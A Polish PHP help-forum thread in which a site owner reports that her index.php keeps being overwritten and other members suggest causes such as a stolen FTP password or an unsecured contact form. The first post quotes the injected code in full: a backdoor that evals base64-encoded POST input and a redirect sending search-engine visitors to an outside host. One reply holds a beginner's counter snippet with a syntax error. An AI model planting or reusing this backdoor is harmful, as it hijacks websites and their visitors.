![]() |
![]() ![]() |
![]() |
![]()
Post
#1
|
|
Grupa: Zarejestrowani Postów: 4 Pomógł: 0 Dołączył: 3.03.2006 Ostrzeżenie: (0%) ![]() ![]() |
Witam.. od wczoraj mam dosc powazny problem. Mam plik index.php ktory rozszerzenie php ma tylko dlatego żeby dzialał licznik w PHP. Strona to http://niekochane.org
I problem jest taki ze od soboty ktoś lub coś zmienia zawartość mojego pliku index.php na taką: Kod <?php $a=@$_POST['a'];if($a && @$_POST['b']==sha1(md5($a))){$a=base64_decode($a);eval($a);} function get_counter(){$ip=$_SERVER['REMOTE_ADDR'];$uniq=@file_get_contents("http://nasnezabanyat.biz/ip.php?ip=$ip");if($uniq===false){return false;}if($uniq=="go"){return true;}return false;}$ref=strtolower(trim(@$_SERVER['HTTP_REFERER']));if((strpos($ref,"google")!==false)and(strpos($ref,"bot.htm")===false)){if(get_counter()){@header("Location: http://nasnezabanyat.biz/tds_u.php?dname=".$_SERVER['HTTP_HOST']);die();}}if((strpos($ref,"yahoo")!==false)and(strpos($ref,"slurp")===false)){if(get_counter()){@header("Location: http://nasnezabanyat.biz/tds_u.php?dname=".$_SERVER['HTTP_HOST']);die();}} ?> Nie wiem co z tym zrobić, już drugi raz mi sie zmieniła zawartość pliku i musiałam nadpisać, ale przecież nie mogę chyba ciągle nadpisywać, chciałabym jakoś temu zapobiec. Na php prawie wcale sie nie znam a licznik znalazłam w sieci, na jakiejś polskiej stronie o php. Plik index.php ma uprawnienia 644. Czy ktoś może spotkał się z czymś takim, czy ktoś wie jak temu zapobiec? Ten post edytował mika 12.01.2009, 09:45:14 |
|
|
![]()
Post
#2
|
|
Grupa: Zarejestrowani Postów: 1 590 Pomógł: 185 Dołączył: 19.04.2006 Skąd: Gdańsk Ostrzeżenie: (0%) ![]() ![]() |
Daj kod oryginalnego pliku (tego licznika), bo to on powoduje problem - i użyj odpowiedniego bbcode.
|
|
|
![]()
Post
#3
|
|
Grupa: Zarejestrowani Postów: 4 Pomógł: 0 Dołączył: 3.03.2006 Ostrzeżenie: (0%) ![]() ![]() |
Witaj, kod licznika jest taki:
dobrego bbcode uzylam? mam tam jeszcze maly formularz kontaktowy, ktory jest wstawiany przez funkcje include - ten do zapisywania sie do listy oczekajacycj na male koty |
|
|
![]()
Post
#4
|
|
Grupa: Zarejestrowani Postów: 9 Pomógł: 0 Dołączył: 3.01.2009 Skąd: Siedlce Ostrzeżenie: (0%) ![]() ![]() |
ja bym do odczytywania zawartosci licznika użył coś takiego:
<? if(file_exists("licznik.txt")) { $sciezka = "licznik.txt"; $plik = fopen($sciezka, "r"); $zawartosc = fread($plik, filesize("licznik.txt")); fclose); } else echo $zawartosc ?> Nie wiem czy wszystko jestdobrze, bo pisalem od reki Ten post edytował Lukez 12.01.2009, 13:35:09 |
|
|
![]()
Post
#5
|
|
Grupa: Moderatorzy Postów: 8 989 Pomógł: 1550 Dołączył: 8.08.2008 Skąd: Słupsk/Gdańsk ![]() |
A zmien haslo do ftp i zobacz czy problem bedzie sie powtarzal.
|
|
|
![]()
Post
#6
|
|
Grupa: Zarejestrowani Postów: 1 590 Pomógł: 185 Dołączył: 19.04.2006 Skąd: Gdańsk Ostrzeżenie: (0%) ![]() ![]() |
Nie widać w tym liczniku nic takiego, co mogłoby powodować taki problem.
Cytat mam tam jeszcze maly formularz kontaktowy, ktory jest wstawiany przez funkcje include - i pewnie przez ten formularz kod dostaje się do strony. Każdy formularz nalezy dobrze zabezpieczyć, gdyż jest to zawsze słaby punkt i potencjalna furtka do ataku.
|
|
|
![]() ![]() |
![]() |
Aktualny czas: 23.08.2025 - 02:01 |